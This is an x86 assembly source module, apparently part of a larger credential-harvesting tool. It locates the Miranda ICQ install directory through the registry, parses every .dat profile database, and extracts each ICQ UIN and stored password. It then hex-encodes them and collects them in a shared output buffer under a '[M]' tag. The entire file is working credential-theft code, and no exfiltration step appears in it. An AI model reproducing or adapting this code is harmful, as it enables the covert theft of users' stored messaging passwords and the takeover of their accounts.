; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------



;
; Decode miranda-icq passwords
;
;
;
; #########################################################################

MIRANDA_HDR struct
  Signature             BYTE 16 dup(?)
  Version               DWORD ?
  ofsFileEnd            DWORD ?
  slackSpace            DWORD ?
  contactCount          DWORD ?
  ofsFirstContact       DWORD ?
  ofsUser               DWORD ?
  ofsFirstModuleName    DWORD ?
MIRANDA_HDR ends

MIRANDA_CONTACT struct
  Signature             DWORD ?
  ofsNext               DWORD ?
  ofsFirstSettings      DWORD ?
  eventCount            DWORD ?
  ofsFirstEvent         DWORD ?
  ofsLastEvent          DWORD ?
  ofsFirstUnreadEvent   DWORD ?
  timestampFirstUnread  DWORD ?
MIRANDA_CONTACT ends

MIRANDA_CSETTINGS struct
  Signature             DWORD ?
  ofsNext               DWORD ?
  ofsModuleName         DWORD ?
  cbBlob                DWORD ?
MIRANDA_CSETTINGS ends

DB_MIRANDA_V121                 equ 00000700h ; Miranda 1.2.0, 1.2.1, 0.3
DBCONTACT_SIGNATURE             equ 43DECADEh ; Signature (to check db for consistency)
DBCONTACTSETTINGS_SIGNATURE     equ 53DECADEh ; Signature

DBVT_DELETED equ 0      ; this setting just got deleted, no other values are valid
DBVT_BYTE    equ 1      ; bVal and cVal are valid
DBVT_WORD    equ 2      ; wVal and sVal are valid
DBVT_DWORD   equ 4      ; dVal and lVal are valid
DBVT_ASCIIZ  equ 255    ; pszVal is valid
DBVT_BLOB    equ 254    ; cpbVal and pbVal are valid

; #########################################################################

        .data
                DBHEADER_SIGNATURE      db 'Miranda ICQ DB',0,1ah
                szMirandaKeyPath        db "SOFTWARE\Miranda",0
                szInstallDir            db "Install_Dir",0
                szMirandaSearch         db "\*.dat",0
                szMirandaUIN            db "UIN",0

        .data?
                lpMirandaUIN            dd ?

        .code

; #########################################################################

MFindPassword proc uses edi esi lpFileName, Temp: DWORD
        LOCAL   hFile, rlen, read: DWORD
        LOCAL   mHdr: MIRANDA_HDR
        LOCAL   mCnt: MIRANDA_CONTACT
        LOCAL   mSet: MIRANDA_CSETTINGS

        ; Clear the output buffers
        mov     [lpMirandaUIN], 0
        mov     byte ptr[lpBuf1], 0

        invoke  CreateFile, lpFileName, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0
        mov     hFile, eax
        inc     eax
        jz      @end

        ; Read db header
        invoke  ReadFile, hFile, addr mHdr, sizeof MIRANDA_HDR, addr read, NULL
        cmp     read, sizeof MIRANDA_HDR
        jne     @free

        ; Check signature
        invoke  CompareMem, addr mHdr.Signature, offset DBHEADER_SIGNATURE, 16
        test    eax, eax
        jz      @free

        ; Check db version
        cmp     mHdr.Version, DB_MIRANDA_V121
        jne     @free

        ; Read user's info header
        invoke  SetFilePointer, hFile, mHdr.ofsUser, NULL, FILE_BEGIN

        invoke  ReadFile, hFile, addr mCnt, sizeof MIRANDA_CONTACT, addr read, NULL
        cmp     read, sizeof mCnt
        jne     @free

        ; Check signature
        cmp     mCnt.Signature, DBCONTACT_SIGNATURE
        jne     @free

        invoke  SetFilePointer, hFile, mCnt.ofsFirstSettings, NULL, FILE_BEGIN

        ; Read parameter chains
@loop:
        invoke  ReadFile, hFile, addr mSet, sizeof MIRANDA_CSETTINGS, addr read, NULL
        cmp     read, sizeof MIRANDA_CSETTINGS
        jne     @free

        cmp     mSet.Signature, DBCONTACTSETTINGS_SIGNATURE
        jne     @free


        ; In each chain read params
        xor     esi, esi ; mSet.CbBlob limit counter

@param_loop:
        ; Read property name
        mov     rlen, 0
        invoke  ReadFile, hFile, addr rlen, 1, addr read, NULL ; Length
        invoke  ReadFile, hFile, Temp, rlen, addr read, NULL ; Name
        mov     eax, Temp
        add     eax, rlen
        mov     byte ptr[eax], 0

        inc     esi
        inc     esi
        add     esi, rlen

        invoke  lstrlen, Temp       
        test    eax, eax
        jz      @param_loop_end

        invoke  ReadFile, hFile, addr rlen, 1, addr read, NULL ; Type of the setting
        mov     eax, rlen

        ; Read value of the property
        .IF     al == DBVT_BYTE
                invoke  SetFilePointer, hFile, 1, NULL, FILE_CURRENT
                inc     esi
        .ELSEIF al == DBVT_WORD
                invoke  SetFilePointer, hFile, 2, NULL, FILE_CURRENT
                inc     esi
                inc     esi
        .ELSEIF al == DBVT_DWORD
                invoke  lstrcmp, Temp, offset szMirandaUIN

                .IF     eax == 0
                  ; Read UIN
                  invoke  ReadFile, hFile, addr lpMirandaUIN, 4, addr read, NULL
                .ELSE
                  invoke  SetFilePointer, hFile, 4, NULL, FILE_CURRENT
                .ENDIF

                add     esi, 4
        .ELSEIF al == DBVT_ASCIIZ
                mov     rlen, 0
                invoke  ReadFile, hFile, addr rlen, 2, addr read, NULL ; Length

                invoke  lstrcmpi, Temp, offset szPassword

                .IF     (eax == 0 && rlen < 17)
                  ; Read password
                  invoke  ReadFile, hFile, addr lpBuf1, rlen, addr read, NULL
                  lea     eax, lpBuf1
                  add     eax, rlen
                  mov     byte ptr[eax], 0
                .ELSE
                  invoke  SetFilePointer, hFile, rlen, NULL, FILE_CURRENT
                .ENDIF

                inc     esi
                inc     esi
                add     esi, rlen
        .ELSEIF al == DBVT_BLOB
                invoke  ReadFile, hFile, addr rlen, 4, addr read, NULL ; Length
                invoke  SetFilePointer, hFile, rlen, NULL, FILE_CURRENT
                add     esi, 4
                add     esi, rlen
        .ELSE
                jmp     @param_loop_end
        .ENDIF

        ; Check for overflow (mSet.cbBlob holds maximum length of all parameters)
        cmp     esi, mSet.cbBlob
        jge     @param_loop_end

        jmp     @param_loop

@param_loop_end:
        invoke  SetFilePointer, hFile, mSet.ofsNext, NULL, FILE_BEGIN
        cmp     mSet.ofsNext, 0
        jnz     @loop

@free:
        invoke  CloseHandle, hFile
@end:
        ret
MFindPassword endp

; #########################################################################

MScanForDatFiles proc uses edi lpPath: DWORD
        LOCAL   FindFileData: WIN32_FIND_DATA
        LOCAL   hFind: DWORD
        LOCAL   lpTemp: DWORD

        invoke  LocalAlloc, LMEM_FIXED, 1024
        mov     lpTemp, eax

        invoke  lstrlen, lpPath
        mov     edi, eax
        inc     edi

        invoke  lstrcat, lpPath, offset szMirandaSearch

        invoke  FindFirstFile, lpPath, addr FindFileData
        mov     hFind, eax
        inc     eax
        jz      @end

@find_loop:
        mov     eax, lpPath
        mov     byte ptr[eax + edi], 0
        invoke  lstrcat, lpPath, addr FindFileData.cFileName

        ; Find the password & UIN in lpPath dat file
        invoke  MFindPassword, lpPath, lpTemp

        .IF     ([lpMirandaUIN] != 0 && byte ptr[lpBuf1] != 0)
                szText  szMirandaFmt, "UIN(%lu): %s",13,10
                invoke  lstrlen, offset lpBuf1
                invoke  TextToHex, offset lpBuf1, offset lpBuf2, eax
                invoke  wsprintf, lpTemp, offset szMirandaFmt, [lpMirandaUIN], offset lpBuf2
                invoke  lstrcat, GlobalBuffer, lpTemp
        .ENDIF

        invoke  FindNextFile, hFind, addr FindFileData
        test    eax, eax
        jnz     @find_loop

        invoke  FindClose, hFind

@end:
        invoke  LocalFree, lpTemp

        ret        
MScanForDatFiles endp

; #########################################################################

GetMirandaOutput proc
        LOCAL   hkHandle, DataType, BufSize: DWORD

        ; Write the greet message
        szText  szMirandaGreet, "[M]",13,10
        invoke  lstrcat, GlobalBuffer, addr szMirandaGreet

        ; Query the HKLM->Software->Miranda->Install_Dir
        invoke  RegCreateKey, HKEY_LOCAL_MACHINE, offset szMirandaKeyPath, addr hkHandle
        test    eax, eax
        jnz     @end

        mov     BufSize, MAX_PATH
        invoke  RegQueryValueEx, hkHandle, offset szInstallDir, NULL, addr DataType, offset lpBuf4, addr BufSize
        test    eax, eax
        jnz     @end_and_free

        ; Get passwords from .dat files using lpInstallDir path
        invoke  MScanForDatFiles, offset lpBuf4

@end_and_free:
        invoke  RegCloseKey, hkHandle

@end:
        ret
GetMirandaOutput endp
